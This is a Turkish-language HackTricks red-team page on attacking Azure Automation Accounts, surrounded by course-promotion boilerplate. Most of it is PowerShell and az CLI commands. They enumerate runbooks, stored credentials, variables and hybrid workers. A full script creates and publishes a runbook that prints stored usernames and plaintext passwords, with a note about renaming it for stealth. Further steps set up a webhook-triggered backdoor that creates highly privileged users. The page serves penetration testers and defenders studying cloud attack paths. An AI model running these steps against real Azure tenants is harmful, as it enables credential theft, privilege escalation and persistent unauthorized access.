Az - Automation Account

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!

HackTricks'i desteklemenin diğer yolları:

Temel Bilgiler

Dokümantasyondan: Azure Automation, Azure ve Azure olmayan ortamlarınızda tutarlı yönetimi destekleyen bir bulut tabanlı otomasyon, işletim sistemi güncelleştirmeleri ve yapılandırma hizmeti sunar. Süreç otomasyonu, yapılandırma yönetimi, güncelleme yönetimi, paylaşılan yetenekler ve heterojen özellikler içerir.

Bunlar, Azure'da "zamanlanmış görevler" gibi olan ve Azure ortamını yönetmek, kontrol etmek ve yapılandırmak için şeyleri (eylemler veya hatta komut dosyaları) yürütmenizi sağlayan şeylerdir.

Çalışma Hesabı

Çalışma Hesabı kullanıldığında, kendine imzalı bir sertifika ile Azure AD uygulaması oluşturur, bir hizmet prensibi oluşturur ve mevcut abonelikte hesap için Katkıda Bulunan rolünü atar (birçok ayrıcalık). Microsoft, Otomasyon Hesabı için bir Yönetilen Kimlik kullanmanızı önerir.

Bu, 30 Eylül 2023'te kaldırılacak ve Yönetilen Kimliklerle değiştirilecek.

Çalışma Kitapları ve İşler

Çalışma Kitapları, keyfi PowerShell kodunu yürütmenizi sağlar. Bu, bir saldırganın bağlı prensibin izinlerini çalması için kötüye kullanılabilir. Çalışma Kitaplarının kodunda, kimlik bilgileri gibi duyarlı bilgiler de bulunabilir.

İşleri okuyabiliyorsanız, çalışmanın çıktısını içerdiği için (potansiyel olarak duyarlı bilgiler) okuyun.

Otomasyon Hesapları'na gidin --> <Seçilen Otomasyon Hesabı> --> Çalışma Kitapları/İşler/Hibrit işçi grupları/İzleyici görevleri/parolalar/değişkenler/sertifikalar/bağlantılar

Hibrit İşçi

Bir Çalışma Kitabı, bir Azure içindeki bir konteynerde veya bir Hibrit İşçide (Azure dışı makine) çalıştırılabilir. Günlük Analizi Ajanı, VM'ye hibrit işçi olarak kaydetmek için dağıtılır. Hibrit işçi işleri Windows'ta SYSTEM üzerinde ve Linux'ta nxautomation hesabında çalışır. Her Hibrit İşçi, bir Hibrit İşçi Grubu'na kaydedilir.

Bu nedenle, bir Windows Hibrit İşçi'de bir Çalışma Kitabı çalıştırmayı seçebilirseniz, harici bir makinede Sistem olarak keyfi komutlar yürütürsünüz (güzel bir pivot tekniği).

Durum Yapılandırması (SC) Komprometi

Dokümantasyondan: Azure Automation Durum Yapılandırması, herhangi bir bulutta veya yerindeki düğümler için PowerShell Desired State Configuration (DSC) yapılandırmalarını yazmanıza, yönetmenize ve derlemenize olanak tanıyan bir Azure yapılandırma yönetimi hizmetidir. Hizmet ayrıca DSC Kaynakları'nı içe aktarır ve hedef düğümlere yapılandırmalar atar, hepsi bulutta yapılır. Azure Portal'da Azure Automation Durum Yapılandırmasına Yapılandırma Yönetimi altında Durum yapılandırması (DSC)'yi seçerek erişebilirsiniz.

Bu yapılandırmalarda duyarlı bilgiler bulunabilir.

Uzaktan Kod Yürütme (RCE)

Yönetilen makinelerde keyfi komut dosyalarını çalıştırmak için SC kötüye kullanılabilir.

pageAz - State Configuration RCE

Numaralandırma

# Check user right for automation
az extension add --upgrade -n automation
az automation account list # if it doesn't return anything the user is not a part of an Automation group

# Gets Azure Automation accounts in a resource group
Get-AzAutomationAccount

# List & get DSC configs
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration | where {$_.name -match '<name>'} | Export-AzAutomationDscConfiguration -OutputFolder . -Debug
## Automation Accounts named SecurityBaselineConfigurationWS... are there by default (not interesting)

# List & get Run books code
Get-AzAutomationAccount | Get-AzAutomationRunbook
Get-AzAutomationAccount | Get-AzAutomationRunbook | Export-AzAutomationRunbook -OutputFolder /tmp

# List credentials & variables & others
Get-AzAutomationAccount | Get-AzAutomationCredential
Get-AzAutomationAccount | Get-AzAutomationVariable
Get-AzAutomationAccount | Get-AzAutomationConnection
Get-AzAutomationAccount | Get-AzAutomationCertificate
Get-AzAutomationAccount | Get-AzAutomationSchedule
Get-AzAutomationAccount | Get-AzAutomationModule
Get-AzAutomationAccount | Get-AzAutomationPython3Package
## Exfiltrate credentials & variables and the other info loading them in a Runbook and printing them

# List hybrid workers
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>

Bir Runbook Oluşturun

# Get the role of a user on the Automation account
# Contributor or higher = Can create and execute Runbooks
Get-AzRoleAssignment -Scope /subscriptions/<ID>/resourceGroups/<RG-NAME>/providers/Microsoft.Automation/automationAccounts/<AUTOMATION-ACCOUNT>

# Create a Powershell Runbook
Import-AzAutomationRunbook -Name <RUNBOOK-NAME> -Path C:\Tools\username.ps1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Type PowerShell -Force -Verbose

# Publish the Runbook
Publish-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose

# Start the Runbook
Start-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -RunOn Workergroup1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose

Bir Çalışma Kitabı kullanarak bir Otomasyon Hesabında Tanımlanan Kimlik Bilgilerini ve Değişkenleri Dışarı Aktarın

# Change the crdentials & variables names and add as many as you need
@'
$creds = Get-AutomationPSCredential -Name <credentials_name>
$runbook_variable = Get-AutomationVariable -name <variable_name>
$runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password
'@ | out-file -encoding ascii 'runbook_get_creds.ps1'

$ResourceGroupName = '<resource_group_name>'
$AutomationAccountName = '<auto_acc_name>'
$RunBookName = 'Exif-Credentials' #Change this for stealthness

# Creare Run book, publish, start, and get output
New-AzAutomationRunBook -name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Type PowerShell
Import-AzAutomationRunBook -Path 'runbook_get_creds.ps1' -Name $RunBookName -Type PowerShell -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Force
Publish-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
$start = Start-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
start-sleep 20
($start | Get-AzAutomationJob | Get-AzAutomationJobOutput).Summarynt

Aynı şeyi mevcut bir Çalıştırma Kitabını değiştirerek ve web konsolundan da yapabilirsiniz.

Otomatik Olarak Yüksek Yetkili Kullanıcı Oluşturma İçin Adımlar

1. Bir Otomasyon Hesabı Başlatın

  • Eylem Gereklidir: Yeni bir Otomasyon Hesabı oluşturun.

  • Belirli Ayar: "Azure Run As hesabı oluştur" etkinleştirildiğinden emin olun.

2. Çalıştırma Kitabını İçe Aktarın ve Ayarlayın

  • Kaynak: Örnek çalıştırma kitabını MicroBurst GitHub Deposundan indirin.

  • Gereken Eylemler:

  • Çalıştırma kitabını Otomasyon Hesabına içe aktarın.

  • Çalıştırma kitabını yürütülebilir hale getirmek için yayınlayın.

  • Dış tetikleyicileri etkinleştirmek için çalıştırma kitabına bir webhook ekleyin.

3. AzureAD Modülünü Yapılandırın

  • Eylem Gereklidir: AzureAD modülünü Otomasyon Hesabına ekleyin.

  • Ek Adım: Tüm Azure Otomasyon Modüllerinin en son sürümlerine güncellendiğinden emin olun.

4. İzin Ataması

  • Atanacak Roller:

  • Kullanıcı Yöneticisi

  • Abonelik Sahibi

  • Hedef: Bu rolleri gerekli yetkiler için Otomasyon Hesabına atayın.

5. Potansiyel Erişim Kaybı Farkındalığı

  • Not: Bu tür bir otomasyon yapılandırması, abonelik üzerinde kontrol kaybına neden olabileceğini unutmayın.

6. Kullanıcı Oluşturmayı Tetikleyin

  • Bir POST isteği göndererek webhook'u tetikleyerek yeni bir kullanıcı oluşturun.

  • Sağlanan PowerShell komut dosyasını kullanarak, $uriyi gerçek webhook URL'nizle ve $AccountInfoyu istenen kullanıcı adı ve şifreyle değiştirerek kullanın.

$uri = "<YOUR_WEBHOOK_URL>"
$AccountInfo  = @(@{RequestBody=@{Username="<DESIRED_USERNAME>";Password="<DESIRED_PASSWORD>"}})
$body = ConvertTo-Json -InputObject $AccountInfo
$response = Invoke-WebRequest -Method Post -Uri $uri -Body $body

Referanslar

AWS hackleme konusunda sıfırdan kahramana dönüşmek için htARTE (HackTricks AWS Red Team Expert)'ı öğrenin!

HackTricks'i desteklemenin diğer yolları:

Last updated